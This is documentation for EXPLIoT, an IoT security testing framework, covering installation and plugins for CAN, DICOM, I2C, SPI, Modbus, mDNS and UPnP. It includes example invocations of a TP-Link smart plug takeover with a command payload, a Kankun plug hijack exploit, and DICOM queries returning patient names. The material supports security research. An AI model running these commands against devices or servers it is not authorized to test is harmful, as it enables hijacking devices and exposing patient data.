-------------------------------------------------------------------------------- /docs/installation/intro.rst: -------------------------------------------------------------------------------- 1 | Installation 2 | ============ 3 | 4 | There are multiple options available to install EXPLIoT. 5 | 6 | Available installation methods 7 | ------------------------------ 8 | 9 | .. toctree:: 10 | :maxdepth: 1 11 | :glob: 12 | 13 | ** 14 | -------------------------------------------------------------------------------- /docs/installation/manual-installation.rst: -------------------------------------------------------------------------------- 1 | .. _installation-manual: 2 | 3 | Manual installation 4 | =================== 5 | 6 | The installation of ``expliot`` is straight-forward. At the moment there are 7 | two options available. If you choose to download the archive then you are not 8 | able to quick update to the latest version. 9 | 10 | Requirements 11 | ------------ 12 | 13 | Make sure that your system has Python 3 available. ``expliot`` only runs with 14 | Python 3. Also, there are a couple of other packages needed to compile various 15 | bits and pieces. 16 | 17 | Fedora 18 | ^^^^^^ 19 | 20 | .. code-block:: console 21 | 22 | $ sudo dnf -y install redhat-rpm-config libusb glib2-devel python3 python3-devel 23 | 24 | Ubuntu (Kali Linux, Lubuntu, etc.) 25 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 26 | 27 | .. code-block:: console 28 | 29 | $ sudo apt-get install git libusb-1.0 libglib2.0-dev python3 python3-dev python3-setuptools 30 | 31 | Debian 10 32 | ^^^^^^^^^ 33 | 34 | .. code-block:: console 35 | 36 | $ sudo apt-get install libusb-1.0 libglib2.0-dev python3 python3-dev python3-setuptools build-essential 37 | 38 | BlackArch 39 | ^^^^^^^^^ 40 | 41 | All requirements are shipped by default. 42 | 43 | Alpine Linux 44 | ^^^^^^^^^^^^ 45 | 46 | It might be possible to make an installation but requires at lot of effort 47 | because the system is using musl and ``pycrypto`` heavily depends on Glib. 48 | 49 | Download archive 50 | ---------------- 51 | 52 | Visit the `EXPLIoT repository `_ 53 | at GitLab and download the archive of your choice. After pressing the icon 54 | with the cloud and the arrow you can set the archive type. After the download 55 | unpack it. 56 | 57 | Or use the command line: 58 | 59 | .. code-block:: console 60 | 61 | $ curl -O https://gitlab.com/expliot_framework/expliot/-/archive/master/expliot-master.tar.gz 62 | $ tar -xzf expliot-master.tar.gz 63 | $ mv expliot-master expliot 64 | 65 | Change into the ``expliot`` directory and start the installation. 66 | 67 | .. code-block:: console 68 | 69 | $ cd expliot 70 | $ python3 setup.py install --user 71 | 72 | Checkout from git 73 | ----------------- 74 | 75 | The fastest way to get a copy of ``expliot`` is to clone the Git repository. 76 | 77 | .. code-block:: console 78 | 79 | $ git clone https://gitlab.com/expliot_framework/expliot.git 80 | $ cd expliot 81 | $ python3 setup.py install --user 82 | 83 | For system-wide installation, you can use ``sudo`` and not use ``--user``. 84 | 85 | .. code-block:: console 86 | 87 | $ git clone https://gitlab.com/expliot_framework/expliot.git 88 | $ cd expliot 89 | $ sudo python3 setup.py install 90 | 91 | .. warning:: 92 | 93 | If you are performing the installation as ``root``, e.g., on Kali Linux, 94 | then don't use ``--user``. 95 | 96 | .. code-block:: console 97 | 98 | # git clone https://gitlab.com/expliot_framework/expliot.git 99 | # cd expliot 100 | # python3 setup.py install 101 | 102 | Troubleshooting 103 | --------------- 104 | 105 | - On some older debian-based systems like Ubuntu and its derivatives it might 106 | be needed that you adjust your ``$PATH`` environment variable to include 107 | ``~/.local``. 108 | 109 | - Debian-based live systems, including the latest Kali Linux, running **live** 110 | have some `limitations `_. 111 | Again, the executables in ``~/.local`` were not found. This means that you 112 | have to adjust your ``$PATH`` environment variable or use 113 | ``~/.local/bin/expliot``. 114 | 115 | - BlackArch Linux users need to create an additional user to install 116 | **EXPLIoT**. Don't use ``root`` for the installation. 117 | 118 | - If you are using Ubuntu then you need to logout and login after the 119 | installation. 120 | 121 | -------------------------------------------------------------------------------- /docs/installation/pypi.rst: -------------------------------------------------------------------------------- 1 | Installation from PyPI 2 | ====================== 3 | 4 | .. warning:: 5 | 6 | Check if it's the latest release. 7 | 8 | **EXPLIoT** is available from the `Python Package Index `_. 9 | 10 | 11 | .. NOTE:: 12 | 13 | Before installation ensure that requirements (dependencies) have been fulfilled. Check out the `requirements `_. 14 | 15 | 16 | 17 | Installation 18 | ------------ 19 | 20 | It's required that you have ``pip`` available on your system. 21 | 22 | .. code-block:: console 23 | 24 | $ pip3 install expliot --user 25 | 26 | For system-wide installation, you can use ``sudo`` and not use ``--user``. 27 | 28 | .. code-block:: console 29 | 30 | $ sudo pip3 install expliot 31 | 32 | Upgrade 33 | ------- 34 | 35 | .. code-block:: console 36 | 37 | $ pip3 install --upgrade expliot --user 38 | 39 | Likewise, if installed using ``sudo`` 40 | 41 | .. code-block:: console 42 | 43 | $ sudo pip3 install --upgrade expliot 44 | 45 | -------------------------------------------------------------------------------- /docs/make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | pushd %~dp0 4 | 5 | REM Command file for Sphinx documentation 6 | 7 | if "%SPHINXBUILD%" == "" ( 8 | set SPHINXBUILD=sphinx-build 9 | ) 10 | set SOURCEDIR=. 11 | set BUILDDIR=_build 12 | 13 | if "%1" == "" goto help 14 | 15 | %SPHINXBUILD% >NUL 2>NUL 16 | if errorlevel 9009 ( 17 | echo. 18 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx 19 | echo.installed, then set the SPHINXBUILD environment variable to point 20 | echo.to the full path of the 'sphinx-build' executable. Alternatively you 21 | echo.may add the Sphinx directory to PATH. 22 | echo. 23 | echo.If you don't have Sphinx installed, grab it from 24 | echo.http://sphinx-doc.org/ 25 | exit /b 1 26 | ) 27 | 28 | %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 29 | goto end 30 | 31 | :help 32 | %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 33 | 34 | :end 35 | popd 36 | -------------------------------------------------------------------------------- /docs/requirements.txt: -------------------------------------------------------------------------------- 1 | sphinx 2 | sphinx-autoapi 3 | -------------------------------------------------------------------------------- /docs/tests/can.rst: -------------------------------------------------------------------------------- 1 | CAN 2 | === 3 | 4 | `Controller Area Network `_ (or CAN Bus) 5 | is a robust hardware communication protocol primarily used in vehicles. Other 6 | noted uses are in Industrial automation, Building automation, elevators etc. 7 | CAN hacking has really caught up due to advancements in automotive technology 8 | or in business terms introduction of IoT in automotive. Hence, it makes sense 9 | to have test case for security researchers to be able to analyse CAN enabled 10 | devices. 11 | 12 | It uses `socketscan`_ as of now. You need to have a physical CAN interface on 13 | your system which is connected to the CANBus or for testing you can use a 14 | simulator and `socketscan`_ as a virtual can interface. 15 | 16 | can.generic.readcan 17 | ------------------- 18 | 19 | This test reads and shows the data on the CANBus. 20 | 21 | **Usage details** 22 | 23 | .. code-block:: console 24 | 25 | ef> run can.generic.readcan -h 26 | 27 | can.generic.writecan 28 | -------------------- 29 | 30 | This test writes data on the CANBus. 31 | 32 | **Usage details** 33 | 34 | .. code-block:: console 35 | 36 | ef> run can.generic.writecan -h 37 | 38 | .. _socketscan: https://en.wikipedia.org/wiki/SocketCAN -------------------------------------------------------------------------------- /docs/tests/coap.rst: -------------------------------------------------------------------------------- 1 | CoAP 2 | ==== 3 | 4 | `Constrained Application Protocol <(https://en.wikipedia.org/wiki/Constrained_Application_Protocol>`_ 5 | (CoAP) is a light weight network communication protocol used for constrained 6 | devices. It is an IETF standard defined in `RFC 7252 `_ 7 | 8 | and is used in various IoT products. 9 | 10 | .. note:: This plugin does not do anything. Stay away. 11 | 12 | coap.generic.get 13 | ---------------- 14 | 15 | This test is not implemented yet. It will be added soon. 16 | 17 | 18 | **Usage details:** 19 | 20 | .. code-block:: console 21 | 22 | ef> run coap.generic.get -h 23 | 24 | coap.generic.sample 25 | ------------------- 26 | 27 | This is just a sample plugin. It is intended for developers to understand 28 | the structure of a plugin class and how to implement one. 29 | 30 | **Usage details:** 31 | 32 | .. code-block:: console 33 | 34 | ef> run coap.generic.sample -h 35 | -------------------------------------------------------------------------------- /docs/tests/crypto.rst: -------------------------------------------------------------------------------- 1 | Crypto 2 | ====== 3 | 4 | `Cryptography `_ 5 | (Crypto) is the practice and study of techniques for secure communication 6 | in the presence of third parties. More generally, cryptography is about 7 | constructing and analyzing protocols that prevent third parties or the public 8 | from reading private messages maintaining the confidentiality, authentication, 9 | data integrity and non-repudiation. 10 | 11 | crypto.tpliot.decrypt 12 | --------------------- 13 | 14 | You can use this test case to decrypt the communication between TP-Link smart 15 | devices and Kasa home application. 16 | 17 | 18 | **Usage details:** 19 | 20 | .. code-block:: console 21 | 22 | ef> run crypto.tpliot.decrypt -h 23 | 24 | Examples 25 | ^^^^^^^^ 26 | 27 | The input data ``-d`` would be a HEX string from the captured communication. 28 | 29 | .. code-block:: text 30 | 31 | ef> run crypto.tpliot.decrypt -d 00000066[...]ae9ee39ee3 32 | 33 | [...] 34 | [*]Decrypted Data :{"context":{"source":"46a4d58b-6279-432c-ae23-e115c2db8354"},"system":{"set_relay_state":{"state":0}}} 35 | [+] Test crypto.tpliot.decrypt passed 36 | 37 | 38 | .. note:: 39 | 40 | The HEX input should be without the ``0x`` prefix. 41 | -------------------------------------------------------------------------------- /docs/tests/dicom.rst: -------------------------------------------------------------------------------- 1 | DICOM 2 | ===== 3 | 4 | `Digital Imaging and Communications in Medicine `_ 5 | (DICOM) is a healthcare standard for communication and management of patient 6 | information. It is used in various medical equipment to store and share image, 7 | patient data, etc. If you are into medical security research the plugins will 8 | help you in testing the security of these devices. 9 | 10 | dicom.generic.c-echo 11 | -------------------- 12 | 13 | 14 | This test is basically used to check if you can connect to a DICOM server and 15 | get information about the software used as well. If you are not familiar with 16 | DICOM, you can go through `this tutorial `_ 17 | which explains the basics and essentials of the protocol. 18 | 19 | **Usage details:** 20 | 21 | .. code-block:: console 22 | 23 | ef> run dicom.generic.c-echo -h 24 | 25 | Examples 26 | ^^^^^^^^ 27 | 28 | `Medical Connections `_ is running a 29 | public demo `DICOM server `_. 30 | 31 | .. code-block:: console 32 | 33 | $ expliot run dicom.generic.c-echo -r www.dicomserver.co.uk -p 104 34 | [...] 35 | [*] Attempting to connect with DICOM server (www.dicomserver.co.uk) on port (104) 36 | [*] Using Calling AET (ANY-SCU) Called AET (ANY-SCP) 37 | [?] Server implementation version name (b'DicomObjects.NET') 38 | [?] Server implementation class UID (1.2.826.0.1.3680043.1.2.100.8.40.120.0) 39 | [+] C-ECHO response status (0x0000) 40 | [+] Test dicom.generic.c-echo Passed 41 | 42 | 43 | dicom.generic.c-find 44 | -------------------- 45 | 46 | This test allows you to query data from the DICOM server. The protocol does 47 | not specify any authentication process. The authentication for C-FIND is 48 | typically based on: 49 | 50 | - Client IP: You can't do much about this, unless there is another way to 51 | extract that information or test from local network and hope there is no 52 | IP restriction. 53 | - Client port: Can be specified using *-q* or *--lport* argument 54 | - Called AET (server): Can be specified using *-s* or *--aetscp* argument 55 | 56 | **Usage details:** 57 | 58 | .. code-block:: console 59 | 60 | ef> run dicom.generic.c-find -h 61 | 62 | Examples 63 | ^^^^^^^^ 64 | 65 | `Medical Connections `_ is running a 66 | public demo `DICOM server `_. This server can 67 | be queried for its datasets. 68 | 69 | .. code-block:: console 70 | 71 | $ expliot run dicom.generic.c-find -r www.dicomserver.co.uk -p 104 72 | [...] 73 | [*] Attempting to search for patient (*) on DICOM server (www.dicomserver.co.uk) on port (104) 74 | [*] Using Calling AET (ANY-SCU) Called AET (ANY-SCP) Information model (P) 75 | [?] Server implementation version name (b'DicomObjects.NET') 76 | [?] Server implementation class UID (1.2.826.0.1.3680043.1.2.100.8.40.120.0) 77 | [+] C-FIND query status: (0xff00) 78 | [+] C-FIND query Identifier: ((0008, 0005) Specific Character Set CS: '' 79 | (0008, 0052) Query/Retrieve Level CS: 'PATIENT' 80 | (0008, 0054) Retrieve AE Title AE: 'ANY-SCP' 81 | (0010, 0010) Patient's Name PN: 'ABDOMEN^VOLUNTEER^^^') 82 | [+] C-FIND query status: (0xff00) 83 | [+] C-FIND query Identifier: ((0008, 0005) Specific Character Set CS: '' 84 | (0008, 0052) Query/Retrieve Level CS: 'PATIENT' 85 | (0008, 0054) Retrieve AE Title AE: 'ANY-SCP' 86 | (0010, 0010) Patient's Name PN: 'ACEVEDO VIDARTE J F') 87 | [+] C-FIND query status: (0xff00) 88 | 89 | dicom.generic.c-store 90 | --------------------- 91 | 92 | This test allows you to store data on a DICOM server. it sends a DICOM file 93 | to the DICOM server (SCP - Service class Provider). It can be used to test 94 | storing wrong files of a patient or fuzzing a server. 95 | 96 | **Usage details:** 97 | 98 | .. code-block:: console 99 | 100 | ef> run dicom.generic.c-store -h 101 | 102 | Examples 103 | ^^^^^^^^ 104 | 105 | `Medical Connections `_ is running a 106 | public demo `DICOM server `_ which should allow 107 | the uploading of data. The sample below shows a failure. 108 | 109 | .. code-block:: console 110 | 111 | $ expliot run dicom.generic.c-store -r www.dicomserver.co.uk -p 104 -f image-000000.dcm 112 | [...] 113 | [*] Attempting to send file (/home/fab/Downloads/image-000000.dcm) to DICOM server (www.dicomserver.co.uk) on port (104) 114 | [*] Using Calling AET (ANY-SCU) Called AET (ANY-SCP) 115 | [?] Server implementation version name (b'DicomObjects.NET') 116 | [?] Server implementation class UID (1.2.826.0.1.3680043.1.2.100.8.40.120.0) 117 | [-] C-STORE Failed to store file (status=0xa700) 118 | [-] Test dicom.generic.c-store Failed. Reason = C-STORE Failed to store file (status=0xa700) 119 | -------------------------------------------------------------------------------- /docs/tests/i2c.rst: -------------------------------------------------------------------------------- 1 | I2C 2 | === 3 | 4 | `Inter-Integrated Circuit `_ (I2C) is a 5 | synchronous, serial hardware bus communication protocol used for intra-board 6 | (short distance) communication i.e. between two components on a circuit board. 7 | It is a *2-wire* bus. It is also used in EEPROMs for example to read and write 8 | data. 9 | 10 | The current implementation is dependent on the *pyi2cflash* package which in 11 | turn is dependent on *pyftdi* package. Note that there will be some extra info 12 | printed on the console, when the plugin executes, which comes from the 13 | *pyi2cflash* package and is not part of the plugin code. To interface your 14 | PC with the I2C EEPROM chip, you need a hardware connector or bridge. You can 15 | use any FTDI based device, that provides an I2C interface. We have created a 16 | multi-protocol connector called **EXPLIoT Nano** which is available at our 17 | `online store `_. Although, the framework should work with 18 | any *pyftdi* compatible FTDI device. 19 | 20 | i2c.generic.scan 21 | ---------------- 22 | 23 | The scan will be performed over the available address space of the I2C bus 24 | to detect connected units. 25 | 26 | **Usage details:** 27 | 28 | .. code-block:: console 29 | 30 | ef> run i2c.generic.scan -h 31 | 32 | Examples 33 | ^^^^^^^^ 34 | 35 | Environmental sensors are often connected to the I2C bus and used in a large 36 | scale in the IoT and home automation eco-system. To get a feeling how the test 37 | works, a `BMP280 `_ 38 | breakout board is wired to a `Expliot-NANO `_. 39 | 40 | .. code-block:: text 41 | 42 | +---------+ +-----------------+ 43 | | | VCC +--------+ 3V3 | | 44 | | BMP280 | | | 45 | | | GND +--------+ GND | Expliot-NANO | 46 | | | | | 47 | | | SCL +--------+ SCL | | 48 | | | | | 49 | | | SDA +-----+--+ SDA | | 50 | +---------+ | | | 51 | +--+ SDA | | 52 | +-----------------+ 53 | 54 | For further details check the `pin layout `_. 55 | 56 | .. code-block:: console 57 | 58 | ef> run i2c.generic.scan 59 | [...] 60 | [*] Scanning for I2C devices... 61 | [+] Address found: 0x76 62 | [+] Done. Found 1 and not found 120 63 | [+] Test i2c.generic.scan Passed 64 | 65 | i2c.generic.readeeprom 66 | ---------------------- 67 | 68 | This test is reading data from an EEPROM. Currently the following chips are 69 | supported: 70 | 71 | - 24AA32A 72 | - 24AA64 73 | - 24AA128 74 | - 24AA256 75 | - 24AA512 76 | 77 | **Usage details:** 78 | 79 | .. code-block:: console 80 | 81 | ef> run i2c.generic.readeeprom -h 82 | 83 | i2c.generic.writeeeprom 84 | ----------------------- 85 | 86 | See ``i2c.generic.readeeprom`` as the same details apply for writing. 87 | 88 | **Usage details:** 89 | 90 | .. code-block:: console 91 | 92 | ef> run i2c.generic.writeeeprom -h 93 | -------------------------------------------------------------------------------- /docs/tests/intro.rst: -------------------------------------------------------------------------------- 1 | IoT Attack Surface 2 | ================== 3 | 4 | IoT is a combination of different technologies and the attack surface is 5 | considerably large. A simple explanation of the attack surface is given 6 | `here `_. 7 | 8 | Coverage 9 | -------- 10 | 11 | There is obviously no silver bullet (read tool) that can cover(test) the whole 12 | IoT eco-system attack surface. Our aim with EXPLIoT is to reach as close as 13 | possible i.e. to cover as many IoT protocols, hardware platforms and products 14 | as possible. We will explain the coverage of the framework based on protocols 15 | and technologies including the what, why and how of each plugin. 16 | 17 | Available plugins/tests 18 | ----------------------- 19 | 20 | .. toctree:: 21 | :maxdepth: 1 22 | :glob: 23 | 24 | ** -------------------------------------------------------------------------------- /docs/tests/mdns.rst: -------------------------------------------------------------------------------- 1 | mDNS 2 | ==== 3 | 4 | Devices that support `mDNS `_ 5 | can be found in the local network without additional configuration. Multicast 6 | DNS is a zero-configuration service and is used in various IoT products. 7 | 8 | mdns.generic.discover 9 | --------------------- 10 | 11 | This plugin scans the local network for devices with enabled mDNS. 12 | 13 | **Usage details:** 14 | 15 | .. code-block:: console 16 | 17 | ef> run mdns.generic.discover -h 18 | 19 | Examples 20 | ^^^^^^^^ 21 | 22 | Scan for all supported discoverable devices on the local network. You can also 23 | use the ``-v`` option to see which device type is being scanned at any moment. 24 | 25 | .. code-block:: console 26 | 27 | ef> run mdns.generic.discover 28 | [...] 29 | [*] Search local network for mDNS enabled devices 30 | [+] Device 1 31 | [+] (name=foobar._http._tcp.local.) 32 | [+] (address=192.168.0.20) 33 | [+] (port=80) 34 | [+] (server=foobar.local.) 35 | [+] (type=_http._tcp.local.) 36 | [+] (priority=0) 37 | [+] (weight=0) 38 | [+] (properties={b'path': b'/conf/authentication.htm'}) 39 | [+] 40 | [+] Device 2 41 | [+] (name=HP LaserJet 5081 @ myprinter._ipp._tcp.local.) 42 | [+] (address=192.168.0.56) 43 | [+] (port=631) 44 | [+] (server=myprinter.local.) 45 | [+] (type=_ipp._tcp.local.) 46 | [+] (priority=0) 47 | [+] (weight=0) 48 | [+] (properties={b'txtvers': b'1', b'qtotal': b'1', b'rp': b'printers/HP_LaserJet_5081', b'ty': b'HP LaserJet 5081 Foomatic/foobla-y2 (recommended)', b'adminurl': b'https://myprinter.local:631/printers/HP_LaserJet_5081', b'priority': b'0', b'product': b'(HP LaserJet 5081)', b'pdl': b'application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/pwg-raster,image/urf', b'URF': b'DM3', b'UUID': b'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', b'TLS': b'1.2', b'printer-state': b'3', b'printer-type': b'0xXXXXXX'}) 49 | [+] 50 | [+] Total devices discovered = 2 51 | [+] Test mdns.generic.discover passed 52 | 53 | 54 | Scan for a specific discoverable device type from the supported devices (The next 55 | example shows how to get the list of supported device types). 56 | 57 | .. code-block:: console 58 | 59 | ef> run mdns.generic.discover -d printer -v 60 | [...] 61 | [*] Search local network for mDNS enabled devices 62 | [?] Looking for printer devices 63 | [+] Device 1 64 | [+] (name=HP LaserJet 4040 @ myprinter2._printer._tcp.local.) 65 | [+] (address=192.168.0.78) 66 | [+] (port=0) 67 | [+] (server=myprinter2.local.) 68 | [+] (type=_printer._tcp.local.) 69 | [+] (priority=0) 70 | [+] (weight=0) 71 | [+] (properties={}) 72 | [+] 73 | [+] Total devices discovered = 1 74 | [+] Test mdns.generic.discover passed 75 | 76 | 77 | Output the list of all EXPLIoT supported mDNS discoverable device types 78 | 79 | .. code-block:: console 80 | 81 | ef> run mdns.generic.discover -l 82 | [...] 83 | [?] Supported Device types 84 | [+] aidroid 85 | [+] aiplay 86 | [+] airport 87 | [+] amzn_wplay 88 | [+] android_tv_remote 89 | [+] apple_tv 90 | [+] arduino 91 | [+] axis_video 92 | [+] brew_pi 93 | [+] cloud 94 | [...] 95 | [+] soundtouch 96 | [+] spotify_connect 97 | [+] ssh 98 | [+] teamviewer 99 | [+] telnet 100 | [+] tivo_remote 101 | [+] touh_able 102 | [+] tunnel 103 | [+] ultimaker 104 | [+] workstation 105 | [+] Test mdns.generic.discover passed 106 | -------------------------------------------------------------------------------- /docs/tests/modbus.rst: -------------------------------------------------------------------------------- 1 | Modbus 2 | ====== 3 | 4 | `Modbus `_ is a serial communication 5 | protocol used in ICS (Industrial Control Systems) infrastructure, typically 6 | be devices like PLCs etc. Modbus is still an integral part of ICS and in your 7 | IoT assessments for Smart ICS infrastructure (Industry 4.0) you may still 8 | encounter devices talking Modbus. 9 | 10 | modbus.generic.readtcp 11 | ---------------------- 12 | 13 | This plugin reads coil, register values from a Modbus server running over a 14 | TCP/IP network. 15 | 16 | **Usage details:** 17 | 18 | .. code-block:: console 19 | 20 | ef> run modbus.generic.readtcp -h 21 | 22 | modbus.generic.writetcp 23 | ----------------------- 24 | 25 | This plugin writes coil and register values to a Modbus server running over a 26 | TCP/IP network. 27 | 28 | **Usage details:** 29 | 30 | .. code-block:: console 31 | 32 | ef> run modbus.generic.writetcp -h 33 | -------------------------------------------------------------------------------- /docs/tests/nmap.rst: -------------------------------------------------------------------------------- 1 | nmap 2 | ==== 3 | 4 | `nmap `_ allows to scan for the hosts, open ports and other 5 | details in a network. It's required that you have the ``nmap`` binary present 6 | in your PATH. 7 | 8 | .. note:: Certain nmap options require you to use root privileges to run. 9 | 10 | nmap.generic.cmd 11 | ----------------- 12 | 13 | As default ``-oX`` is used for all scans. 14 | 15 | **Usage details:** 16 | 17 | .. code-block:: console 18 | 19 | ef> run nmap.generic.cmd -h 20 | 21 | 22 | **Example:** 23 | 24 | Scan the local network 192.168.0.0/24 with ``-sP`` to skip the port scan part. 25 | 26 | .. code-block:: console 27 | 28 | ef> run nmap.generic.cmd -a "-sP 192.168.0.0/24" 29 | [...] 30 | [+] nmap arguments = (-sP 192.168.0.0/24) 31 | [+] nmaprun: 32 | [+] @scanner: nmap 33 | [+] @args: nmap -oX - -sP 192.168.0.0/24 34 | [+] @start: 1599642315 35 | [+] @startstr: Wed Sep 9 11:05:15 2020 36 | [+] @version: 7.80 37 | [+] @xmloutputversion: 1.04 38 | [+] verbose: 39 | [+] @level: 0 40 | [+] debugging: 41 | [+] @level: 0 42 | [+] host: 43 | [+] status: 44 | [+] @state: up 45 | [+] @reason: arp-response 46 | [+] @reason_ttl: 0 47 | [+] address: 48 | [+] @addr: 192.168.0.1 49 | [+] @addrtype: ipv4 50 | [+] @addr: 90:55:21:12:6E:DD 51 | [+] @addrtype: mac 52 | [+] @vendor: affolter engineering networks 53 | [+] hostnames: None 54 | [...] 55 | [+] Test nmap.generic.cmd passed 56 | -------------------------------------------------------------------------------- /docs/tests/spi.rst: -------------------------------------------------------------------------------- 1 | SPI 2 | === 3 | 4 | `Serial Peripheral Interface `_ 5 | (SPI) is a synchronous, serial hardware bus communication protocol used for 6 | intra-board (short distance) communication i.e. between two components on a 7 | circuit board. It is a *4-wire* bus. The communication is *full-duplex* as it 8 | has separate lines for master-to-slave and slave-to-master communication. In 9 | many devices, you may encounter flash memory chips, for example, that talk 10 | over SPI for data read/write and you may need a way to extract data from the 11 | chip for further analysis or write malicious data to the chip. 12 | 13 | spi.generic.readflash 14 | --------------------- 15 | 16 | The current implementation is dependent on *pyspiflash* package which in 17 | turn is dependent on *pyftdi* package. Note that there will be some extra 18 | info printed on the console, when the plugin executes, which comes from the 19 | *pyspiflash* package and is not part of the plugin code. To interface your PC 20 | with the SPI flash chip, you need a hardware connector or bridge. You can use 21 | any FTDI based device, that provides an SPI interface. We have created a 22 | multi-protocol connector called **EXPLIoT Nano** which is available at our 23 | `online store `_. Although, the framework should work with 24 | any *pyftdi* compatible FTDI device. 25 | 26 | **Usage details:** 27 | 28 | .. code-block:: console 29 | 30 | ef> run spi.generic.readflash -h 31 | 32 | spi.generic.writeflash 33 | ---------------------- 34 | 35 | Similar considerations as `spi.generic.readflash`. 36 | 37 | **Usage details:** 38 | 39 | .. code-block:: console 40 | 41 | ef> run spi.generic.writeflash -h 42 | -------------------------------------------------------------------------------- /docs/tests/tcp.rst: -------------------------------------------------------------------------------- 1 | TCP 2 | ==== 3 | 4 | `Transmission Control Protocol (TCP) `_ 5 | is one of the main protocols of the Internet protocol suite that defines how 6 | to establish and maintain a network conversation through which application 7 | programs can exchange data. Many lightweight implementations of TCP are 8 | implemented in IoT. 9 | 10 | tcp.tpliot.takeover 11 | ------------------- 12 | 13 | This test case allows to send unauthorized commands to TP-Link smart devices 14 | on the same network. 15 | 16 | **Usage details:** 17 | 18 | .. code-block:: console 19 | 20 | ef> run tcp.tpliot.takeover -h 21 | 22 | Examples 23 | ^^^^^^^^ 24 | 25 | .. note:: 26 | 27 | Use ``crypto.tpliot.decrypt`` to decrypt and convert HEX to JSON for ``-d`` 28 | 29 | .. code-block:: text 30 | 31 | ef> run tcp.tpliot.takeover -r 10.42.0.113 -p 9999 -d {"context":{"source":"46a4d58b-6279-432c-ae23-e115c2db8354"},"system":{"set_relay_state":{"state":0}}} 32 | 33 | [...] 34 | [+] Received Response: 0000002dd0f281f88bff9af7d5ef94b6c5a0d48bf99cf091e8b7c4b0d1a5c0e2d8a381e496e4bbd8b7d3b694ae9ee39ee3 35 | [+] Decrypted Response: {"system":{"set_relay_state":{"err_code":0}}} 36 | [+] Test tcp.tpliot.takeover passed 37 | 38 | -------------------------------------------------------------------------------- /docs/tests/udp.rst: -------------------------------------------------------------------------------- 1 | UDP 2 | === 3 | 4 | As of now all, UDP based proprietary communication will be grouped here. 5 | Eventually, it will be changed to something else. 6 | 7 | udp.kankun.hijack 8 | ----------------- 9 | 10 | This is an exploit for a Smart plug called Kankun, manufactured by a Chinese 11 | vendor ikonke.com. It is out of production now. 12 | 13 | **Usage details:** 14 | 15 | .. code-block:: console 16 | 17 | ef> run udp.kankun.hijack -h 18 | 19 | Example 20 | ^^^^^^^ 21 | 22 | To run the plugin you need the IP address and the MAC address of the plug. 23 | Let's assume that you know the IP address. In this example it's 192.168.10.253. 24 | Get the MAC address with the IP address. 25 | 26 | .. code-block:: console 27 | 28 | $ arping -f -I wlp4s0 192.168.10.253 29 | ARPING 192.168.10.253 from 192.168.10.110 wlp4s0 30 | Unicast reply from 192.168.10.253 [00:15:61:BD:49:CB] 35.143ms 31 | Sent 1 probes (1 broadcast(s)) 32 | Received 1 response(s) 33 | 34 | Run the test with the collected information. 35 | 36 | .. code-block:: console 37 | 38 | ef> run udp.kankun.hijack -r 192.168.10.253 -m 00:15:61:BD:49:CB -c off 39 | -------------------------------------------------------------------------------- /docs/tests/upnp.rst: -------------------------------------------------------------------------------- 1 | UPnP 2 | ==== 3 | 4 | `Universal Plug aNd Play (UPnP) `_ is 5 | a set of protocols that allows devices to automate discovery and communication. It helps in 6 | identifying devices and their services in a network from IoT security assessment perspective. 7 | 8 | 9 | 10 | upnp.generic.discover 11 | --------------------- 12 | 13 | This plugin attempts to discover devices within a network and provides details about those devices. 14 | 15 | .. note:: 16 | 17 | The --verbose option displays the raw XML responses received from the devices in addition 18 | to the other information. 19 | 20 | **Usage details:** 21 | 22 | .. code-block:: console 23 | 24 | ef> run upnp.generic.discover -h 25 | 26 | 27 | **Example:** 28 | 29 | Discover UPNP devices on the local network and get their details. 30 | Limit the discovery to 5 seconds. 31 | 32 | .. code-block:: console 33 | 34 | ef> run upnp.generic.discover --timeout 5 35 | [...] 36 | [*] Search local network for UPNP enabled devices 37 | [*] 38 | [+] Device 1: 39 | [+] 40 | [+] host: 192.168.12.11 41 | [+] port: 1900 42 | [+] friendly_name: WFADevice 43 | [+] type: urn:schemas-wifialliance-org:device:WFADevice:1 44 | [+] base_url: http://192.168.12.11:1900 45 | [+] services: 46 | [+] name: urn:schemas-wifialliance-org:service:WFAWLANConfig:1 47 | [+] type: WFAWLANConfig 48 | [+] version: 1 49 | [+] id: urn:wifialliance-org:serviceId:WFAWLANConfig1 50 | [+] scpd_url: http://192.168.12.11:1900/wlanconfig.xml 51 | [+] control_url: /controls?WLANConfig 52 | [+] event_sub_url: /events?WLANConfig 53 | [+] base_url: http://192.168.12.11:1900 54 | [+] actions: 55 | [+] name: ModAPSettings 56 | [+] arguments: 57 | [+] name: NewAPSettings 58 | [+] direction: in 59 | [+] return_value: None 60 | [+] related_state_variable: APSettings 61 | [+] state_variables: 62 | [+] WLANResponse 63 | [+] WLANEventType 64 | [...] 65 | [+] total_devices_discovered: 4 66 | [+] 67 | [+] Test upnp.generic.discover passed -------------------------------------------------------------------------------- /docs/usage/command-line-mode.rst: -------------------------------------------------------------------------------- 1 | .. _command-line-mode: 2 | 3 | Command line mode 4 | ================= 5 | 6 | Run the tool with command line arguments, it will execute the respective 7 | command/arguments and exit. This is helpful for automation and 8 | scripting different test cases as part of your testing: regression, 9 | acceptance, security etc. The way you specify the command and arguments 10 | is the same as *interactive mode*. 11 | 12 | Examples 13 | -------- 14 | 15 | Run with ``help`` option: 16 | 17 | .. code-block:: console 18 | 19 | $ expliot -h 20 | usage: expliot [-h] [cmd] ... 21 | 22 | Expliot - Internet Of Things Security Testing and Exploitation Framework 23 | Command Line Interface. 24 | 25 | positional arguments: 26 | cmd Command to execute. If no command is given, it enters an 27 | interactive console. To see the list of available commands use 28 | help command 29 | cmd_args Sub-command and/or (optional) arguments 30 | 31 | optional arguments: 32 | -h, --help show this help message and exit 33 | 34 | EXPLIoT commands help will provide you a list of all available commands. 35 | 36 | .. code-block:: console 37 | 38 | $ expliot help 39 | 40 | Documented commands (type help ): 41 | ======================================== 42 | alias exit help history list macro quit run set 43 | 44 | List all available plugins. 45 | 46 | .. code-block:: bash 47 | 48 | $ expliot list 49 | Total plugins: 23 50 | 51 | PLUGIN SUMMARY 52 | ====== ======= 53 | 54 | ble.generic.fuzzchar BLE Characteristic value fuzzer 55 | [...] 56 | 